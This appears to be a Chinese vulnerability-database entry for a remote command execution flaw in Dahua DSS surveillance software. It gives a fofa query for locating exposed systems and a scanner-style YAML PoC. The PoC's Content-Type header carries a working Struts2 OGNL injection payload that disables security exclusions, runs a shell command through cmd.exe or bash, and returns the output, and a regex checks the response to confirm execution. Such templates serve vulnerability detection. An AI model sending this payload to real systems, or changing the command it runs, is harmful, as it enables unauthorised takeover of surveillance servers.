dahua-dss-login-action-rce: 大华DSS Digital Surveillance System系统login_login.action存在远程命令执行漏洞

日期: 2025-09-01 | 影响软件: 大华DSS | POC: 已公开

漏洞描述

大华DSS Digital Surveillance System系统 fofa: app="dahua-DSS"

PoC代码[已公开]

id: dahua-dss-login-action-rce

info:
  name: 大华DSS Digital Surveillance System系统login_login.action存在远程命令执行漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |-
    大华DSS Digital Surveillance System系统
    fofa: app="dahua-DSS"
  reference:
    - https://mp.weixin.qq.com/s/etMKbu0BGsCh-PniyFllgw
  tags: dahua,rce
  created: 2024/03/29

rules:
  r0:
    request:
      method: POST
      path: /admin/login_login.action
      headers:
        Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()

相关漏洞推荐